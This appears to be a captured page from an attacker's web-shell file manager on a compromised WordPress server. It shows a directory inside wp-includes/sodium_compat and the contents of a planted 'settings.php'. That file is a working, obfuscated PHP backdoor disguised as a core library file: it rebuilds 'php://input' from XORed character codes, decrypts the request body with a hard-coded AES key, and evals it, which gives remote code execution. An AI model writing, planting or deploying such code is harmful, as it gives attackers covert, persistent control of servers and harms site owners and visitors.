[ SYSTEM ]: Linux wordpress 6.1.0-41-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.158-1 (2025-11-09) x86_64
[ SERVER ]: Apache/2.4.66 (Debian) | PHP: 8.2.30
[ USER ]: www-data | IP: 172.19.30.54
GEFORCE FILE MANAGER
/
var
/
www
/
html
/
wordpress
/
wp-includes
/
sodium_compat
/
namespaced
/
Core
/
Curve25519
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📁 Ge
SET
[ DEL ]
📄 Fe.php
110 B
SET
[ EDIT ]
|
[ DEL ]
📄 H.php
108 B
SET
[ EDIT ]
|
[ DEL ]
📄 settings.php
675 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: settings.php
<?php @error_reporting(0);session_start();$key="c4ca4238a0b92382";$_SESSION['k']=$key;$f='file'.'_get'.'_contents';$p='|||||||||||'^chr(12).chr(20).chr(12).chr(70).chr(83).chr(83).chr(21).chr(18).chr(12).chr(9).chr(8);$HIvqL=$f($p);if(!extension_loaded('openssl')){ $t=preg_filter('/\s+/','','base 64 _ deco de');$HIvqL=$t($HIvqL."");for($i=0;$i<strlen($HIvqL);$i++) { $new_key = $key[$i+1&15];$HIvqL[$i] = $HIvqL[$i] ^ $new_key;} }else{ $HIvqL=openssl_decrypt($HIvqL, "AES128", $key);}$arr=explode('|',$HIvqL);$func=$arr[0];$params=$arr[1];class G089WP1U{ public function __invoke($p) {@eval("/*Z5p6S2veWj*/".$p."");}}@call_user_func/*Z5p6S2veWj*/(new G089WP1U(),$params);?>